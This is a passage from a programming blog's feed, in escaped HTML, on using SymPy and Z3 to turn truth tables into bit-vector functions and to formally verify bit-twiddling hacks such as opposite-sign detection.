&lt;input type='checkbox' id='Ckhvd2V2ZXIsIHRoaXMgcHJvYmxlbSBpcyBOUC1jb21wbGV0ZSBpbiBnZW5lcmFsLgogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
However, this problem is NP-complete in general.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The non-human counterpart is the &lt;a href="https://en.wikipedia.org/wiki/Quine%E2%80%93McCluskey_algorithm"&gt;Quine-McCluskey algorithm&lt;/a&gt; that can handle much more inputs.&lt;/p&gt;
&lt;p&gt;&lt;label for='ClozIFtjb3VsZCBkbyBpdCB0b29dKGh0dHBzOi8vZ2l0aHViLmNvbS9aM1Byb3Zlci96My9pc3N1ZXMvNDgyMikKYnV0IHRoZSBzb2x1dGlvbiBpcyBwZXJoYXBzIG1vcmUgaGFuZC1jcmFmdGVkLgogbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='ClozIFtjb3VsZCBkbyBpdCB0b29dKGh0dHBzOi8vZ2l0aHViLmNvbS9aM1Byb3Zlci96My9pc3N1ZXMvNDgyMikKYnV0IHRoZSBzb2x1dGlvbiBpcyBwZXJoYXBzIG1vcmUgaGFuZC1jcmFmdGVkLgogbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Z3 &lt;a href="https://github.com/Z3Prover/z3/issues/4822"&gt;could do it too&lt;/a&gt; but the solution is perhaps more hand-crafted.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;And &lt;a href="https://www.sympy.org/en/index.html"&gt;SymPy&lt;/a&gt; has a nice implementation.&lt;/p&gt;
&lt;p&gt;From the LUT we need to specify which combination of inputs yields &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kc"&gt;True&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and the rest of the combinations will be assumed as &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="kc"&gt;False&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;zor LUT:
    0 0 -&amp;gt; 1    --&amp;gt;   0 0
    1 0 -&amp;gt; 1    --&amp;gt;   1 0
    0 1 -&amp;gt; 0    x
    1 1 -&amp;gt; 1    --&amp;gt;   1 1&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These are called &lt;em&gt;minterms&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;zor_minterms&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt; &lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='CldpdGggc3VwcG9ydCBmb3IgKmRvbiZhcG9zO3QgY2FyZXMqOiBjb21iaW5hdGlvbiBvZiBpbnB1dHMgZm9yIHdoaWNoCmRvbid0IGNhcmUgdGhlIG91dHB1dC4KIG1hcmdpbm5vdGVz' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CldpdGggc3VwcG9ydCBmb3IgKmRvbiZhcG9zO3QgY2FyZXMqOiBjb21iaW5hdGlvbiBvZiBpbnB1dHMgZm9yIHdoaWNoCmRvbid0IGNhcmUgdGhlIG91dHB1dC4KIG1hcmdpbm5vdGVz' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
With support for &lt;em&gt;don't cares&lt;/em&gt;: combination of inputs for which don’t care the output.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;SymPy can build a simplified boolean expression in terms of &lt;em&gt;product of sums&lt;/em&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; subterms joined with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;s) and &lt;em&gt;sum of products&lt;/em&gt; (&lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; subterms joined with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;s)&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;sympy.logic&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;POSform&lt;/span&gt;     &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;sympy&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;symbols&lt;/span&gt;           &lt;span class="c1"&gt;# byexample: +timeout=10&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;POSform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;symbols&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;x y&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;zor_minterms&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;There is no elegant way to map SymPy expressions to Z3 expressions but we can do &lt;strong&gt;a hack&lt;/strong&gt; with &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sympy&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;truth_table_to_fun&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;minterms&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dontcares&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;form&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;POS&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;arity&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;form&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;POS&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;SOP&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;arity&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;arity&lt;/span&gt; &lt;span class="ow"&gt;or&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;minterms&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="c1"&gt;# num of args of our function&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# create on the fly a SymPy variable per argument&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;varnames&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;A&lt;/span&gt;&lt;span class="si"&gt;%i&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arity&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sympy&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;symbols&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39; &amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;varnames&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# simplify as a Product of Sums or as a Sum of Products and get&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# an expression as a string&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;fun&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sympy&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;POSform&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;form&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;POS&amp;#39;&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="n"&gt;sympy&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOPform&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;expr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;fun&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;minterms&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dontcares&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# make the SymPy expression suitable as a Python function definition&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;expr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;lambda &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;,&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;varnames&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;: (&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;expr&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s1"&gt;)&amp;#39;&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="c1"&gt;# evaluate the expression and return the Python function&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{})&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;With &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;truth_table_to_fun&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; we can build a &lt;em&gt;Python function&lt;/em&gt; that it will take &lt;em&gt;Z3 bit vectors&lt;/em&gt; and it will return a &lt;em&gt;bit vector expression&lt;/em&gt; that encodes the &lt;em&gt;minterms&lt;/em&gt; specified.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;z3&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BitVecs&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;zor&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;truth_table_to_fun&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;zor_minterms&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BitVecs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;A B&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;zor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;B&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;A&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="n"&gt;B&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;expr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;simplify&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bitwise&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;zor&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BitVecVal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mb"&gt;0b1001&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;BitVecVal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mb"&gt;0b0010&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)))&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;bin&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;as_long&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
&lt;span class="s1"&gt;&amp;#39;0b1101&amp;#39;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Quick and dirty. Don’t blame me.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="further-things"&gt;Further things&lt;/h2&gt;
&lt;p&gt;Quite a lot.&lt;/p&gt;
&lt;p&gt;Some &lt;a href="https://graphics.stanford.edu/~seander/bithacks.html"&gt;bithacks&lt;/a&gt; could be used to simplify Z3 expressions and speedup the model solving.&lt;/p&gt;
&lt;p&gt;When &lt;a href="/articles/2021/05/17/Verifying-Some-Bithacks.html"&gt;verifying the rank bit&lt;/a&gt; I tested different approaches and only the &lt;em&gt;branchless&lt;/em&gt; implementation gave me a result in a reasonable time.&lt;/p&gt;
&lt;p&gt;Testing the performance is something to explore. Soon.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2021/05/26/Casting-Broadcasting-LUT-and-Bitwise-Ops.html" rel="alternate" type="text/html" title="Casting, broadcasting, LUT and bitwise ops"/>
    <category term="z3" label="z3"/>
    <category term="smt" label="smt"/>
    <category term="sat" label="sat"/>
    <category term="solver" label="solver"/>
    <category term="bitvec bithacks" label="bitvec bithacks"/>
    <published>2021-05-26T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2021/05/17/Verifying-Some-Bithacks.html</id>
    <title>Verifying some bithacks</title>
    <updated>2021-05-17T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;We are going to verify some of the &lt;a href="https://graphics.stanford.edu/~seander/bithacks.html"&gt;bit twiddling hacks&lt;/a&gt; made and collected by Sean Eron Anderson and other authors.&lt;/p&gt;
&lt;p&gt;This is &lt;em&gt;the&lt;/em&gt; classical scenario to put on test your Z3 skills.&lt;!--more--&gt;&lt;/p&gt;
&lt;p&gt;The plan is to pick 4 &lt;em&gt;bithacks&lt;/em&gt; and verify them with Z3. Who knows, we may find a bug.&lt;/p&gt;
&lt;h2 id="detect-if-two-integers-have-opposite-signs"&gt;Detect if two integers have opposite signs&lt;/h2&gt;
&lt;p&gt;This is a simple &lt;a href="https://graphics.stanford.edu/~seander/bithacks.html#DetectOppositeSigns"&gt;bithack&lt;/a&gt; suggested by Manfred Weis.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;int&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;// input values to compare signs&lt;/span&gt;

&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// true iff x and y have opposite signs&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It has an immediate translation to Z3 using &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;BitVecs&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;z3&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;BitVecs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Solver&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Or&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;BitVecs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;x y&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To verify this we will set an &lt;em&gt;assumption&lt;/em&gt; that contradicts the expected (and correct) value: if we find it satisfiable it means that the model found by Z3 is a &lt;em&gt;counterexample&lt;/em&gt; and then a bug.&lt;/p&gt;
&lt;p&gt;An unsatisfiable means that the code is correct.&lt;/p&gt;
&lt;p&gt;In this case the assumption is simple:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;we say that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is true (the inputs have &lt;em&gt;opposite&lt;/em&gt; signs) &lt;strong&gt;and&lt;/strong&gt; the inputs have the &lt;em&gt;same&lt;/em&gt; signs;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;and&lt;/em&gt; we say that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is false &lt;strong&gt;and&lt;/strong&gt; the inputs have the &lt;em&gt;opposite&lt;/em&gt; signs.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;same_sign&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Or&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;And&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Solver&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;If&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;same_sign&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="n"&gt;unsat&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Verified.&lt;/p&gt;
&lt;h2 id="conditionally-negate-a-value-without-branching"&gt;Conditionally negate a value without branching&lt;/h2&gt;
&lt;p&gt;The following &lt;a href="https://graphics.stanford.edu/~seander/bithacks.html#ConditionalNegate"&gt;bithack&lt;/a&gt; suggested by Avraham Plotnitzky.&lt;/p&gt;
